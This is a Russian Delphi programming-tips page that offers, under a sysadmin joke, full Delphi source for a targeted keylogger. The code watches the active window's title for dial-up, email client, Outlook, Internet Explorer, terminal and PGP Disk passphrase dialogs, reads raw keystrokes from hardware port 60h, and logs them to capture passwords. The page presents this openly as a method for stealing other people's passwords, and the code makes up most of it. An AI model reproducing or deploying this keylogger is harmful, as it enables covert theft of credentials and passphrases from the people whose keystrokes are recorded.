Delphi World - это проект, являющийся сборником статей и малодокументированных возможностей  по программированию в среде Delphi. Здесь вы найдёте работы по следующим категориям: delphi, delfi, borland, bds, дельфи, делфи, дэльфи, дэлфи, programming, example, программирование, исходные коды, code, исходники, source, sources, сорцы, сорсы, soft, programs, программы, and, how, delphiworld, базы данных, графика, игры, интернет, сети, компоненты, классы, мультимедиа, ос, железо, программа, интерфейс, рабочий стол, синтаксис, технологии, файловая система...
Способ высосать пароли из едитов определенных программ

На днях увольняли сисадмина..
Директор говорит ему:
- Дай системный пароль, - и подает бумашку.
Сисоп записывает следующее *******, немного подумав:
- A нет, еще одна снежинка.

Вот хороший способ высосать пароли из едитов определенных программ - Достоинством метода является отсутствие необходимости читать длинющие keylog - записи, тк кейлоггинг ведется только в интересующих нас окнах (Terminal, DUN, etc...).


unit ksf;
interface
uses windows,Controls,Forms, StdCtrls, Classes, ExtCtrls;

type
 Tf1 = class(TForm)
   t1: TTimer;
   m1: TMemo;
   procedure t1t(Sender: TObject);
 end;

var
f1: Tf1;
okey:byte;
KAr:array[1..88] of pchar=('-Esc-','1','2','3','4','5','6','7','8','9',
'0','-','=','bsp','-Tab-','q','w','e','r','t','y','u','i','o','p',
'[',']','#13','-Ctrl-','a','s','d','f','g','h','j','k','l',';','''','`',
'-Shift-','\','z','x','c','v','b','n','m',',','.','/','-Shift-','*',
'Alt',' ','CL','F1','F2','F3','F4','F5','F6','F7','F8','F9','F10','NL',
'SL','-Home-','-Up-','-PgUp-','-','-Left-','-*5*-','-Right-','+',
'-End-','-Down-','-PDn-','-Ins-','-Del-','','','-Unk-','F11','F12');

implementation
{$R *.DFM}

procedure Tf1.t1t(Sender: TObject);
var
key:byte;
cap0:pchar;
cap1:string;
begin
getmem(cap0,255);
GetWindowText(GetforegroundWindow,cap0,255); //title активного окна
cap1:=cap0;
freemem(cap0);
if(pos('Connect To',cap1)< > 0)or        //DialUP
  (pos('Установка связи',cap1)< > 0)or   //DialUP
  (pos('Вход в систему',cap1)< > 0)or    //DialUP
  (pos('EType Dialer',cap1)< > 0)or      //DialUP
  (pos('p Networking',cap1)< > 0)or      //DialUP
  (pos('p Connection',cap1)< > 0)or      //DialUP
  (pos('Connecting to',cap1)< > 0)or     //DialUP
  (pos('Connessione a',cap1)< > 0)or     //DialUP
  (pos('Edit User - ',cap1)< > 0)or      //The Bat!
  (pos('Мастер подключения к Интернету',cap1)< > 0)or //MSIE,MSOutlook,etc
  (pos('сетевого пароля',cap1)< > 0)or   //MSIE
  (pos('Свойства: ',cap1)< > 0)or        //MSOutlook
  (pos('Вход - ',cap1)< > 0)or           //MSOutlook
  (pos(' - Receiving mail',cap1)< > 0)or //The Bat!
  (pos('Окно терминала',cap1)< > 0)or    //Terminal
  (pos('Passphrase',cap1)< > 0)          //PGP Disk
then
begin
 asm
  in al,60h                 // Читаем из 60h порта нажатую кнопку в al
  mov key,al                // Перемещаем код ключа из al в Key
 end;
 if okey< > key then
 begin
  okey:=key;
  if key< =88 then           // Ловим Key_Down код
  m1.text:=m1.text+kAr[Key]  // И берем по этому коду из массива строку
 end;
end;
end;

Проект Delphi World © Выпуск 2002 - 2004
Автор проекта: ___Nikolay